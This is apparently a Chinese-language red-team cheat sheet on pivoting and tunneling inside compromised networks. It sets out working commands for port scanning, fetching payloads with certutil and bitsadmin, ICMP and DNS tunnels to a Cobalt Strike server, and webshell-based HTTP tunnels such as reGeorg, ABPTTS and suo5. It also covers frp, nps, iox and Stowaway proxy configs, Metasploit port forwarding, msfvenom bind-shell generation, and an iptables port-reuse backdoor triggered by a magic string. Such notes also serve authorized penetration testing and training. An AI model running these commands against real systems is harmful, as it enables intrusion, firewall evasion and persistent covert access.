//将所有端口的流量都转发到 8000 端口
iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 8000
//查看 nat 表的规则
iptables -t nat -nvL
//清楚 nat 表所有规则
iptables -t nat -F
//备份 iptables 规则
iptables-save > /tmp/firewall.rules
//恢复 iptables 规则
iptables-restore < /tmp/firewall.rules
for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed";done
for i in {21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed";done
fscan masscan kscan 御剑tcp扫描等等看个人喜好 探测端口的范围可根据nmap常用端口来
grep -i "services\=" foo.xml | sed -r 's/.*services\=\"(.*)(\"\/>)/\1/g'
Windows:nslookup、ping
Linux:nslookup、dig、ping
HTTP协议 只要能访问该地址的命令都算
linux:wget curl
windows:
certutil -urlcache -split -f http://192.168.10.13/1
bitsadmin /transfer test http://192.168.10.13/1 c:\1
-t:指定远程主机 ip
-d:请求之间的延迟,单位为毫秒,默认 200
-b:退出前的最大空格数(未应答的 icmp 请求)
-s:最大数据缓冲区的字节大小(默认值为 64 个字节)
成功反弹交互式shell
sysctl -w net.ipv4.icmp_echo_ignore_all=1
服务端开启监听
pingtunnel.exe -type server -noprint 1 -nolog 1
客户端操作
./pingtunnel -type client -l :1080 -s 192.168.3.132 -sock5 1 -noprint 1 -nolog 1
pingtunnel.exe -type server -noprint 1 -nolog 1
客户端将服务端8000端口转发到本地8080端口
./pingtunnel -type client -l :8080 -s 192.168.3.132 -t 192.168.3.132:80 -tcp 1 -noprint 1 -nolog 1
访问本地8080端口相当于访问8000端口
场景192.168.3.1与192.168.3.132为同一内网 192.168.3.128为cs,出站只能用icmp,我们要让192.168.3.132上线只需要让其流量发送到192.168.3.1,在又其转发icmp包到cs主机即可让192.168.3.132 的流量发送到192.168.3.1,然后再通过icmp端口转发转发给cs就行了,配置cs监听器,注意最下方的监听端口需要设置,网上很多都是设置两个监听器,我这样配置一个就行了,6666是抓发到3.1的,5544是icmp转发到cs的
iodined -f -c -P helloworld 192.168.10.1 ns.kaeiy.xyz -DD
-f:在前台运行 -c:禁止检查所有传入请求的客户端 IP 地址 -P:指定密码 -D:指定调试级别。-DD 指第二级,D 的数量随等级增加 这里的 192.168.10.1 是自定义的局域网虚拟 IP 地址
iodine.exe -f -P helloworld -M 200 ns.kaeiy.xyz
python2 reGeorgSocksProxy.py -l 0.0.0.0 -p 1080 -u http://192.168.3.132/tunnel.nosocket.php
python3 neoreg.py generate -k admin12345678
将脚本放到目标网站下,使用命令进行连接
python3 neoreg.py -l 0.0.0.0 -p 1080 -k admin12345678 -u http://192.168.3.132/tunnel.php
python3 neoreg.py generate -k admin --file test.html --httpcode 200
访问脚本就会出现代码雨
python2 -m pip install pycryptodemo
python2 -m pip install httplib2
执行以下命令生成webshell
python2 abpttsfactory.py -o webshell
将abptts.jsp文件复制到网站目录下进行访问
python2 abpttsclient.py -c webshell/config.txt -u http://192.168.3.132:8080/abptts.jsp -f 127.0.0.1:3389/192.168.3.132:3389 --unsafetls
mstsc连接本地127.0.0.1即可远程连接主机
java -jar reDuhClient.jar http://192.168.3.132:8080/reDuh.jsp
nc -vv 127.0.0.1 1010
[createTunnel]6666:127.0.0.1:3389
python proxy.py -u http://192.168.3.132:8080/conn.jsp -l 1234 -r 3389 -s -v
该软件不稳定,慎用
suo5-windows-amd64.exe -t http://192.168.3.132:8080/suo5.jsp -l 0.0.0.0:7788 --auth test:test123
python2 abpttsclient.py -c webshell/config.txt -u http://192.168.3.132:8080/abptts.jsp -f 127.0.0.1:7777/127.0.0.1:888
kali生成正向木马,让端口设置为8888,这样msf访问7777会通过HTTP隧道转发到8888上从而绕过防火墙
msfvenom -p windows/x64/meterpreter/bind_tcp lport=8888 -f exe >shell.exe
MSF配置好exp
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
[common]
bind_addr = 0.0.0.0
bind_port = 7000 //客户端反连的端口
dashboard_addr = 0.0.0.0
dashboard_port = 7001 //开启仪表盘的端口
dashboard_user = root //仪表盘登录账号
dashboard_pwd = root //仪表盘登录密码
token = 0EDgBme3IdfeJSTd //客户端反连验证token
检查配置文件是否正确 ./frps verify -c ./frps.ini 启动服务端 ./frps -c ./frps.ini
[common]
server_addr = 192.168.3.128 //服务端ip
server_port = 7000 //服务端端口
token = 0EDgBme3IdfeJSTd //认证token
pool_count = 5
health_check_type = tcp
health_check_interval_s = 100
[test] //服务名称,可自定义
remote_port = 12345 //开启服务端12345当做socks端口
plugin = socks5 //使用socks5代理模块
use_encryption = true //加密流量
use_compression = true //压缩流量
plugin_user = admin //socks连接账号
plugin_passwd = 123456 //socks连接密码
启动客户端 ./frpc -c ./frpc.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
dashboard_addr = 0.0.0.0
dashboard_port = 7001
dashboard_user = root
dashboard_pwd = root
token = 0EDgBme3IdfeJSTd
[common]
server_addr = 192.168.3.128
server_port = 7000
token = 0EDgBme3IdfeJSTd
[RDP]
local_ip = 127.0.0.1
local_port = 3389
remote_port = 7788
[common]
server_addr = 192.168.3.128
server_port = 7000
token = 0EDgBme3IdfeJSTd
[HTTP]
type = tcp
local_ip = 127.0.0.1
local_port = 80
remote_port = 7788
http_proxy_port:80
https_proxy_port:443
bridge_port :8024
web_port :8080
npc.exe -server=192.168.3.128:8024 -vkey=mxkt13ximrr7o3d2
连接成功之后发现仪表盘里客户端已经显示为在线,这时候我们就可以对客户端做操作
npc -server=192.168.3.128:8024 -vkey=mxkt13ximrr7o3d2 -type=tcp -password=123456 -local_type=secret -local_port=8888
./iox fwd -l 8888 -l 9999
监听本地 8888 端口和 9999 端口,将两个连接间的流量进行转发,流量加密
./iox fwd -l *8888 -l *9999 -k 656565
监听0.0.0.0:8888,把流量转发到1.1.1.1:9999
./iox fwd -l 8888 -r 1.1.1.1:9999
连接1.1.1.1:8888和1.1.1.1:9999, 在两个连接间转发
./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999
利用iox进行端口映射
./iox fwd -l *4455 -l 3389 -k 656565
内网主机进行端口转发
iox.exe fwd -r 192.168.3.131:3389 -r *192.168.3.128:8888 -k 656565
成功连接
./iox proxy -l *9999 -l *1080 -k 656565
内网机器执行
iox.exe proxy -r *192.168.3.128:9999 -k 656565
lforward 127.0.0.1 3389 3389
rforward 将node节点转发到vps 3389
rforward 127.0.0.1 3389 3389
以上两个端口转发内网其他地址也可以 学习了二级代理后多级代理是一个原理不在赘述
https://github.com/Mob2003/rakshasa/blob/main/readme/rakshasa%E9%A1%B9%E7%9B%AE%E8%AE%BE%E8%AE%A1.md
Stowaway
windows_x64_admin.exe -l 6666
内网主机连接vps,每五秒重发一次
.\windows_x64_agent.exe -c 192.168.3.1:6666 --reconnect 5
./linux_x64_agent -c 192.168.3.131:8888
run post/multi/manage/autoroute OPTION=value
route print
se auxiliary/server/socks_proxy
set version 4a
set SRVHOST 0.0.0.0
set SRVPORT 1080
run
将目标主机的3389转发到本地的3389,需要先 load stdapi
portfwd add -l 3389 -r 192.168.3.131 -p 3389
rportfwd 3333 127.0.0.1 889
iptables -t nat -A PREROUTING -p tcp -s 192.168.3.1 --dport 80 -j REDIRECT --to-port 22
查看nat表规则
iptables -t nat -nvL
清除nat表规则
iptables -t nat -F
此时已经添加成功
iptables -t nat -N LETMEIN2
创建端口复用规则,将流量转发至 22 端
iptables -t nat -A LETMEIN2 -p tcp -j REDIRECT --to-port 22
开启开关,如果接收到一个含有 threathuntercoming 的 TCP 包,则将来源 IP 添加到 加为 letmein2 的列表中
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name LETMEIN2 --rsource -j ACCEPT
关闭开关,如果接收到一个含有 threathunterleaving 的 TCP 包,则将来源 IP 从 letmein2 的列表中移出
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name LETMEIN2 --remove -j ACCEPT
如果发现 SYN 包的来源 IP 处于 letmein2 列表中,将跳转到 LETMEIN2 链进行处 理,有效时间为 3600 秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name LETMEIN2 --rsource -j LETMEIN2
echo threathuntercoming | socat - tcp:192.168.3.128:80
关闭复用,关闭后,80 恢复正常
echo threathunterleaving | socat - tcp:192.168.3.128:80
往期推荐